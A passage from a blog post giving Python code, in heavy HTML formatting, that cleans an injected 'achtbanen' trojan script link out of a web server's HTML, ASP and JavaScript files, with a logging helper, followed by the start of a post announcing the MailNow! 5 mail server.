padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> f = open(filename, <span style="color: #006080">"rb"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> fb = f.read()</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> f.close()</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> i = fb.find(FindThisJS) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> i == -1 :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">return</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #008000"># found</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> o = fb.find(<span style="color: #006080">".php"</span>, i+len(FindThisJS), i+len(FindThisJS) + MaximumIndexTail)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> o == -1:</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> logfile.error(<span style="color: #006080">"partial found, ignored, %s"</span>, filename)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">return</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #008000"># create a new file</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> newfile = filename + <span style="color: #006080">".trj.rmv"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> p = open(filename + <span style="color: #006080">".trj.rmv"</span>, <span style="color: #006080">"wb"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> p.write(fb[:i])</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> p.close()</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> os.rename(filename, filename + <span style="color: #006080">".xxxx"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> os.rename(newfile, filename)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> os.unlink(filename + <span style="color: #006080">".xxxx"</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> logfile.info(<span style="color: #006080">"Cleaning : %s"</span>, filename) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> except :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> logfile.error(<span style="color: #006080">"unable to open file %s"</span>, filename)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">return</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none">def cleanup (path) :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">for</span> x in dirwalk(path) :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> o = x.split(<span style="color: #006080">"."</span>)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> o[-1].lower() in [<span style="color: #006080">"asp"</span>,<span style="color: #006080">"html"</span>,<span style="color: #006080">"htm"</span>, <span style="color: #006080">"aspx"</span>] :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> CleanFile(x) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">continue</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> o[-1].lower() == <span style="color: #006080">"js"</span> :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> CleanFileJS(x) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"><span style="color: #0000ff">if</span> __name__ == <span style="color: #006080">"__main__"</span> :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> len(sys.argv) < 2 :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">print</span> <span style="color: #006080">"Removes achtbanen trojan links from all webfiles"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">print</span> <span style="color: #006080">"TrjLinkRemove <path>"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">print</span> <span style="color: #006080">"e.g TrjLinkRemove c:\\iisroot"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> sys.<span style="color: #0000ff">exit</span>(1)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">if</span> not os.path.exists(sys.argv[1]) :</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">print</span> <span style="color: #006080">"invalid path given"</span></pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> sys.<span style="color: #0000ff">exit</span>(1)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> cleanup(sys.argv[1]) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--></div><br /></div><br /><br /><p>nowlog.py </p><br /><br /><div id="codeSnippetWrapper" style="border-right: silver 1px solid; padding-right: 4px; border-top: silver 1px solid; padding-left: 4px; font-size: 8pt; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: silver 1px solid; width: 148.64%; cursor: text; direction: ltr; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: silver 1px solid; font-family: 'Courier New', courier, monospace; height: 210px; background-color: #f4f4f4; text-align: left"><br /> <div id="codeSnippet" style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none">import logging, logging.handlers</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none">def SetLogConfig (namefile):</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> logfile = logging.handlers.TimedRotatingFileHandler(namefile , <span style="color: #006080">'midnight'</span>, 1, backupCount=14)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> logfile.setLevel(logging.INFO) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> FORMAT = <span style="color: #006080">"%(asctime)-15s %(levelname)s:[%(thread)d]:%(message)s"</span> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> logfile.setFormatter(logging.Formatter(FORMAT)) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> ch = logging.StreamHandler()</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> ch.setLevel(logging.INFO)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> Logger = logging.getLogger(namefile)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> Logger.addHandler(logfile)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> Logger.addHandler(ch)</pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> Logger.setLevel(logging.INFO) </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: white; text-align: left; border-bottom-style: none"> </pre><br /><!--CRLF--><br /><br /> <pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; direction: ltr; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: 'Courier New', courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; text-align: left; border-bottom-style: none"> <span style="color: #0000ff">return</span> Logger</pre><br /><!--CRLF--></div><br /></div><br /><br /><p></p><br /><br /><p></p><br /><br /><p>* sorry about the formatting –.- was using a code snippet plugin</p> Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-2707108039665181350.post-38209517272094719582009-10-14T11:57:00.001-07:002009-10-14T11:57:18.226-07:00World First Email Server with MSN Robot (Avatar)<p>This is probably true as the team gets ready to launch MailNow!5</p> <p>MailNow! 5 is a Windows Mail Server that is of the likes of SmarterMail, Mdaemon, Merak and Hmail. The difference would be the amount of innovation that the team built into the MailNow! 5 that 